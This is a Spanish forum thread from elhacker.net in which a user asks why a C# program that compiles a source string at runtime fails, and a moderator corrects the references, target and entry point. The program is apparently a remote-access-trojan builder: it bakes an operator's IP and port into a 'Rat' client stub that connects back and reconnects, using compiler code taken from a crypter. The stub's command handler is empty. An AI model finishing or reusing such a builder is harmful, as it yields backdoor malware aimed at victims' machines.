elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Compilar un código a partir de un string?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Compilar un código a partir de un string?  (Leído 2,994 veces)
nevachana

Desconectado Desconectado

Mensajes: 61


Ver Perfil
Compilar un código a partir de un string?
« en: 18 Agosto 2015, 21:49 pm »

Hola,tengo un .txt que lo convierto en un string el cual quiero compilar

Código
  1. SaveFileDialog FSave = new SaveFileDialog()
  2.            {
  3.                Filter = "Executable Files|*.exe",
  4.                InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
  5.            };
  6.            if (FSave.ShowDialog() == DialogResult.OK)
  7.            {
  8.                string source = Properties.Resources.client;
  9.                source = source.Replace("<replace_ip>", ipTxt.Text);
  10.                source = source.Replace("2341", portTxt.Text);
  11.                source = source.Replace("<replace_key", keyTxt.Text);
  12.                source = source.Replace("<replace_name>", nameTxt.Text);
  13.                string ResFile = Path.Combine(Application.StartupPath, "Encrypted.resources");
  14.                bool success = Compiler.CompileFromSource(source, FSave.FileName);
  15.            }

Compiler class ( la encontré en un crypter ).

Código
  1. public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
  2.        {
  3.            // We declare the new compiler parameters variable
  4.            // that will contain all settings for the compilation.
  5.            CompilerParameters CParams = new CompilerParameters();
  6.  
  7.            // We want an executable file on disk.
  8.            CParams.GenerateExecutable = true;
  9.            // This is where the compiled file will be saved into.
  10.            CParams.OutputAssembly = Output;
  11.  
  12.            // We need these compiler options, we will use code optimization,
  13.            // compile as a x86 process and our target is a windows form.
  14.            // The unsafe keyword is used because the stub contains pointers and
  15.            // unsafe blocks of code.
  16.            string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
  17.            // If the icon is not null (as we initialize it), add the corresponding option.
  18.            if (Icon != null)
  19.                options += " /win32icon:\"" + Icon + "\"";
  20.  
  21.            // Set the options.
  22.            CParams.CompilerOptions = options;
  23.            // We don't care about warnings, we don't need them to show as errors.
  24.            CParams.TreatWarningsAsErrors = false;
  25.  
  26.            // Add the references to the libraries we use so we can have access
  27.            // to their namespaces.
  28.            CParams.ReferencedAssemblies.Add("System.dll");
  29.            CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
  30.            CParams.ReferencedAssemblies.Add("System.Drawing.dll");
  31.            CParams.ReferencedAssemblies.Add("System.Data.dll");
  32.            CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
  33.  
  34.            // Check if the user specified any resource files.
  35.            // If yes, add then to the stub's resources.
  36.            if (Resources != null && Resources.Length > 0)
  37.            {
  38.                // Loop through all resource files specified in the Resources[] array.
  39.                foreach (string res in Resources)
  40.                {
  41.                    // Add each resource file to the compiled stub.
  42.                    CParams.EmbeddedResources.Add(res);
  43.                }
  44.            }
  45.  
  46.            // Dictionary variable is used to tell the compiler that we want
  47.            // our file to be compiled for .NET v2
  48.            Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
  49.            ProviderOptions.Add("CompilerVersion", "v2.0");
  50.  
  51.            // Now, we compile the code and get the result back in the "Results" variable
  52.            CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
  53.  
  54.            // Check if any errors occured while compiling.
  55.            if (Results.Errors.Count > 0)
  56.            {
  57.                // Errors occured, notify the user.
  58.                MessageBox.Show(string.Format("The compiler has encountered {0} errors",
  59.                    Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
  60.                    MessageBoxIcon.Error);
  61.  
  62.                // Now loop through all errors and show them to the user.
  63.                foreach (CompilerError Err in Results.Errors)
  64.                {
  65.                    MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
  66.                        Err.Line, Err.Column, Err.FileName), "Error",
  67.                        MessageBoxButtons.OK, MessageBoxIcon.Error);
  68.                }
  69.                return false;
  70.  
  71.            }
  72.            else
  73.            {
  74.                // No error was found, return true.
  75.                return true;
  76.            }
  77.  
  78.        }

El problema es que me da errores en el código al compilarlo,no obstante si lo compilo de forma normal no me da ningún error.


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.813



Ver Perfil
Re: Compilar un código a partir de un string?
« Respuesta #1 en: 19 Agosto 2015, 06:47 am »



El problema es que me da errores en el código al compilarlo,no obstante si lo compilo de forma normal no me da ningún error.

No somos adivinos, por favor no me hagas repetirte esto en el futuro.

Cómo mínimo da los detalles necesarios y esenciales cuando tengas "X" error, muestra el o los mensajes de error, que no tengamos que estar preguntándote por algo tan básico para poder entender que error tienes y ofrecerte ayuda.



El código que has mostrado es literálmente nada, ya que un código fuente necesita seguir una estructura para poder ser compilado.

Esto sería un ejemplo de un código compilable, una aplicación de consola, donde cómo ves hay un punto de entrada (método Main) dentro de una clase que a su vez está dentro de un espacio de nombres:
Código
  1. using System;
  2.  
  3. namespace MainNamespace
  4. {
  5.    class MainClass
  6.    {
  7.        static void Main(string[] args)
  8.        {
  9.           // Tú código aquí.
  10.        }
  11.    }
  12. }

Aparte de eso, recuerda que estás dependiendo del namespace System.Windows.Forms (SaveFileDialog), por lo que aparte de añadir la referencia a dicho ensamblado usando los parámetros del compilador, debes añadir la correspondiente directiva using en tu código fuente, y lo mismo con cualqueir otro namespace que requieras.

Por último, en el proveedor debes especificar el nombre completo del miembro principal, que en el código de ejemplo que he mostrado sería el siguiente:
Código
  1. ...
  2. CodedomProvider provider = new CSharpCodeProvider();
  3. provider.MainClass = "MainNamespace.MainClass";
  4. ...

EDITO:
Y esta instrucción, elimínala, aparte de que no hay necesidad de compilar bajo NetFx 2.0, si utilizas ensamblados que requieran una versión superior (ej: System.Linq.dll) no podrás compilar. Deja que la lógica del proveedor elija la versión adecuada por si mismo:
Citar
Código
  1. ProviderOptions.Add("CompilerVersion", "v2.0");

Aquí puedes ver un ejemplo más detallado que desarrollé:
Librería de Snippets para VB.Net !!

Saludos.


« Última modificación: 19 Agosto 2015, 07:17 am por Eleкtro » En línea

nevachana

Desconectado Desconectado

Mensajes: 61


Ver Perfil
Re: Compilar un código a partir de un string?
« Respuesta #2 en: 19 Agosto 2015, 10:16 am »



No somos adivinos, por favor no me hagas repetirte esto en el futuro.

Cómo mínimo da los detalles necesarios y esenciales cuando tengas "X" error, muestra el o los mensajes de error, que no tengamos que estar preguntándote por algo tan básico para poder entender que error tienes y ofrecerte ayuda.



El código que has mostrado es literálmente nada, ya que un código fuente necesita seguir una estructura para poder ser compilado.

Esto sería un ejemplo de un código compilable, una aplicación de consola, donde cómo ves hay un punto de entrada (método Main) dentro de una clase que a su vez está dentro de un espacio de nombres:
Código
  1. using System;
  2.  
  3. namespace MainNamespace
  4. {
  5.    class MainClass
  6.    {
  7.        static void Main(string[] args)
  8.        {
  9.           // Tú código aquí.
  10.        }
  11.    }
  12. }

Aparte de eso, recuerda que estás dependiendo del namespace System.Windows.Forms (SaveFileDialog), por lo que aparte de añadir la referencia a dicho ensamblado usando los parámetros del compilador, debes añadir la correspondiente directiva using en tu código fuente, y lo mismo con cualqueir otro namespace que requieras.

Por último, en el proveedor debes especificar el nombre completo del miembro principal, que en el código de ejemplo que he mostrado sería el siguiente:
Código
  1. ...
  2. CodedomProvider provider = new CSharpCodeProvider();
  3. provider.MainClass = "MainNamespace.MainClass";
  4. ...

EDITO:
Y esta instrucción, elimínala, aparte de que no hay necesidad de compilar bajo NetFx 2.0, si utilizas ensamblados que requieran una versión superior (ej: System.Linq.dll) no podrás compilar. Deja que la lógica del proveedor elija la versión adecuada por si mismo:
Aquí puedes ver un ejemplo más detallado que desarrollé:
Librería de Snippets para VB.Net !!

Saludos.
Perdón,aquí va mi segundo intento.
Quiero dar la opción al usuario que use de mi programa de poder crear su propio server,y para ello edita el client a la respectiva ip y puerto.

Código del client:

Código
  1. using System;
  2. using System.Net;
  3. using System.Net.Sockets;
  4. using System.Text;
  5. using System.Threading;
  6.  
  7. namespace Rat
  8. {
  9.    class Client
  10.    {
  11.        private string ipG = @"<replace_ip>";
  12.        private int portG = 2341;
  13.        private string keyG = @"<replace_key";
  14.        private string nameG = @"<replace_name>";
  15.        static void Main(string[] args)
  16.        {
  17.            Client cl = new Client();
  18.            cl.tryConexion(cl.ipG, cl.portG,false);
  19.        }
  20.        public string tryConexion(string ip, int port,bool isTest)
  21.        {
  22.            try
  23.            {
  24.                TcpClient client = new TcpClient(ip, port);
  25.                if(isTest == false)
  26.                handlePackets(client);
  27.                return "Conexion works";
  28.  
  29.            }
  30.            catch
  31.            {
  32.                if(isTest == false)
  33.                tryConexion(ip, port,false);
  34.                return "deny";
  35.            }
  36.        }
  37.        public void handlePackets(TcpClient client)
  38.        {
  39.            try
  40.            {
  41.                NetworkStream stream = client.GetStream();
  42.                Byte[] buffer = new Byte[client.Available];
  43.                while (client.Connected)
  44.                {
  45.                    buffer = new Byte[client.Available];
  46.                    stream.Read(buffer, 0, buffer.Length);
  47.                    doAction(Encoding.ASCII.GetString(buffer));
  48.                    stream.Flush();
  49.                    Thread.Sleep(1);
  50.                }
  51.            }
  52.            catch
  53.            {
  54.                tryConexion(ipG, portG,false);
  55.            }
  56.        }
  57.        public void doAction(string packet)
  58.        {
  59.            string[] packetParam = packet.Split('<');
  60.            switch (packet)
  61.            {
  62.            }
  63.        }
  64.  
  65.    }
  66. }
  67.  
,El código del client lo guardo en un .txt en la carpeta resources y luego lo convierto en string.

Código
  1. string source = Properties.Resources.client;

después lo edito siguiendo los datos que haya dado el usuario

Código
  1.                source = source.Replace("<replace_ip>", ipTxt.Text);
  2.                source = source.Replace("2341", portTxt.Text);
  3.                source = source.Replace("<replace_key", keyTxt.Text);
  4.                source = source.Replace("<replace_name>", nameTxt.Text);

y finalmente lo intento compilar:

Código
  1. bool success = Compiler.CompileFromSource(source, FSave.FileName);

Y aquí lo que lo compila

Código
  1.   public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
  2.        {
  3.            CompilerParameters CParams = new CompilerParameters();
  4.            CParams.GenerateExecutable = true;
  5.            CParams.OutputAssembly = Output;
  6.            string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
  7.            if (Icon != null)
  8.                options += " /win32icon:\"" + Icon + "\"";
  9.            CParams.CompilerOptions = options;
  10.           CParams.TreatWarningsAsErrors = false;
  11.            CParams.ReferencedAssemblies.Add("System.dll");
  12.            CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
  13.            CParams.ReferencedAssemblies.Add("System.Drawing.dll");
  14.            CParams.ReferencedAssemblies.Add("System.Data.dll");
  15.            CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
  16.            CParams.ReferencedAssemblies.Add("System.Net.dll");
  17.            CParams.ReferencedAssemblies.Add("System.Net.Sockets.dll");
  18.            CParams.ReferencedAssemblies.Add("Microsoft.Text.dll");
  19.            CParams.ReferencedAssemblies.Add("Microsoft.Threading.dll");
  20.            if (Resources != null && Resources.Length > 0)
  21.            {
  22.                foreach (string res in Resources)
  23.                {
  24.                    CParams.EmbeddedResources.Add(res);
  25.                }
  26.            }
  27.            Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
  28.            ProviderOptions.Add("CompilerVersion", "v4.0");
  29.            CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
  30.            if (Results.Errors.Count > 0)
  31.            {
  32.                MessageBox.Show(string.Format("The compiler has encountered {0} errors",
  33.                    Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
  34.                    MessageBoxIcon.Error);
  35.                foreach (CompilerError Err in Results.Errors)
  36.                {
  37.                    MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
  38.                        Err.Line, Err.Column, Err.FileName), "Error",
  39.                        MessageBoxButtons.OK, MessageBoxIcon.Error);
  40.                }
  41.                return false;
  42.  
  43.            }
  44.            else
  45.            {
  46.                return true;
  47.            }
  48.  
  49.        }

Y al compilar,me da estos errores:
https://gyazo.com/4d0dfac4a26487fc096390f835ec6930

Debo de poner los dll junto al programa?
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.813



Ver Perfil
Re: Compilar un código a partir de un string?
« Respuesta #3 en: 19 Agosto 2015, 14:54 pm »

Debo de poner los dll junto al programa?

No, solo es necesario tener .Net Framework 4.0 instalado en el sistema operativo (puesto que estás compilando para esa versión).

El motivo por el cual el compilador te devuelve errores es por que aquí has escrito varios ensamblados que no existen:
Citar
Código
  1. CParams.ReferencedAssemblies.Add("System.Net.Sockets.dll");
  2. CParams.ReferencedAssemblies.Add("Microsoft.Text.dll");
  3. CParams.ReferencedAssemblies.Add("Microsoft.Threading.dll");

Microsoft.Threading.dll y Microsoft.Text.dll en realidad se escriben System.Threading y System.Text tal y como ya lo tienes escrito en las importaciones de la class client, pero no son librerías, son nombres de espacios contenidos en la librería System.dll. Lo mismo ocurre con System.Net.Sockets.

De todas esas librerías que añades, en realidad solo necesitas añadir las librerías System.dll y System.Net.dll, arregla eso, vuelve a intentar compilar y muestra el nuevo error en caso de que tuvieras alguno.

Aparte de eso, estás intentando compilar una app de consola pero has configurado los parámetros del compiler para que genere un exe con interfáz gráfica. elimina esto:
Citar
Código:
/target:winexe

Además, vuelvo a recordarte que debes indicarle al compiler el nombre completo del miembro principal del código fuente en donde se encuentra el entry point (es decir, Rat.Client) cómo en el ejemplo que te mostré. Te muestro otro ejemplo:

Código
  1. Dim cResult As CompilerResults
  2. Dim pOptions As New Dictionary(Of String, String)() From {{"CompilerVersion", "v4.0"}}
  3. Using cProvider As CodeDomProvider = New CSharpCodeProvider(pOptions)
  4.  
  5.    Dim cParams As New CompilerParameters()
  6.  
  7.    If cProvider.Supports(GeneratorSupport.EntryPointMethod) Then
  8.        cParams.MainClass = "Rat.Client"
  9.    End If
  10.  
  11.    cResult = cProvider.CompileAssemblyFromSource(cParams, source)
  12.  
  13. End Using
  14.  
  15. Dim warnings As IEnumerable(Of CompilerError) =
  16.    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
  17.    Where ce.IsWarning
  18.  
  19. Dim errors As IEnumerable(Of CompilerError) =
  20.    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
  21.    Where Not ce.IsWarning

Conversión online a C#:
Código
  1. CompilerResults cResult = default(CompilerResults);
  2. Dictionary<string, string> pOptions = new Dictionary<string, string> { {"CompilerVersion", "v4.0"} };
  3. using (CodeDomProvider cProvider = new CSharpCodeProvider(pOptions)) {
  4.  
  5. CompilerParameters cParams = new CompilerParameters();
  6.  
  7. if (cProvider.Supports(GeneratorSupport.EntryPointMethod)) {
  8. cParams.MainClass = "Rat.Client";
  9. }
  10.  
  11. cResult = cProvider.CompileAssemblyFromSource(cParams, source);
  12. }
  13.  
  14. IEnumerable<CompilerError> warnings = from ce in cResult.Errors.Cast<CompilerError>() where ce.IsWarning;
  15. IEnumerable<CompilerError> errors = from ce in cResult.Errors.Cast<CompilerError>() where !ce.IsWarning;
  16.  
  17. //=======================================================
  18. //Service provided by Telerik (www.telerik.com)
  19. //=======================================================

Saludos
« Última modificación: 19 Agosto 2015, 15:15 pm por Eleкtro » En línea

nevachana

Desconectado Desconectado

Mensajes: 61


Ver Perfil
Re: Compilar un código a partir de un string?
« Respuesta #4 en: 19 Agosto 2015, 22:00 pm »

No, solo es necesario tener .Net Framework 4.0 instalado en el sistema operativo (puesto que estás compilando para esa versión).

El motivo por el cual el compilador te devuelve errores es por que aquí has escrito varios ensamblados que no existen:
Microsoft.Threading.dll y Microsoft.Text.dll en realidad se escriben System.Threading y System.Text tal y como ya lo tienes escrito en las importaciones de la class client, pero no son librerías, son nombres de espacios contenidos en la librería System.dll. Lo mismo ocurre con System.Net.Sockets.

De todas esas librerías que añades, en realidad solo necesitas añadir las librerías System.dll y System.Net.dll, arregla eso, vuelve a intentar compilar y muestra el nuevo error en caso de que tuvieras alguno.

Aparte de eso, estás intentando compilar una app de consola pero has configurado los parámetros del compiler para que genere un exe con interfáz gráfica. elimina esto:
Además, vuelvo a recordarte que debes indicarle al compiler el nombre completo del miembro principal del código fuente en donde se encuentra el entry point (es decir, Rat.Client) cómo en el ejemplo que te mostré. Te muestro otro ejemplo:

Código
  1. Dim cResult As CompilerResults
  2. Dim pOptions As New Dictionary(Of String, String)() From {{"CompilerVersion", "v4.0"}}
  3. Using cProvider As CodeDomProvider = New CSharpCodeProvider(pOptions)
  4.  
  5.    Dim cParams As New CompilerParameters()
  6.  
  7.    If cProvider.Supports(GeneratorSupport.EntryPointMethod) Then
  8.        cParams.MainClass = "Rat.Client"
  9.    End If
  10.  
  11.    cResult = cProvider.CompileAssemblyFromSource(cParams, source)
  12.  
  13. End Using
  14.  
  15. Dim warnings As IEnumerable(Of CompilerError) =
  16.    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
  17.    Where ce.IsWarning
  18.  
  19. Dim errors As IEnumerable(Of CompilerError) =
  20.    From ce As CompilerError In cResult.Errors.Cast(Of CompilerError)()
  21.    Where Not ce.IsWarning

Conversión online a C#:
Código
  1. CompilerResults cResult = default(CompilerResults);
  2. Dictionary<string, string> pOptions = new Dictionary<string, string> { {"CompilerVersion", "v4.0"} };
  3. using (CodeDomProvider cProvider = new CSharpCodeProvider(pOptions)) {
  4.  
  5. CompilerParameters cParams = new CompilerParameters();
  6.  
  7. if (cProvider.Supports(GeneratorSupport.EntryPointMethod)) {
  8. cParams.MainClass = "Rat.Client";
  9. }
  10.  
  11. cResult = cProvider.CompileAssemblyFromSource(cParams, source);
  12. }
  13.  
  14. IEnumerable<CompilerError> warnings = from ce in cResult.Errors.Cast<CompilerError>() where ce.IsWarning;
  15. IEnumerable<CompilerError> errors = from ce in cResult.Errors.Cast<CompilerError>() where !ce.IsWarning;
  16.  
  17. //=======================================================
  18. //Service provided by Telerik (www.telerik.com)
  19. //=======================================================

Saludos
Muchísimas gracias! ya lo solucioné ^^!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines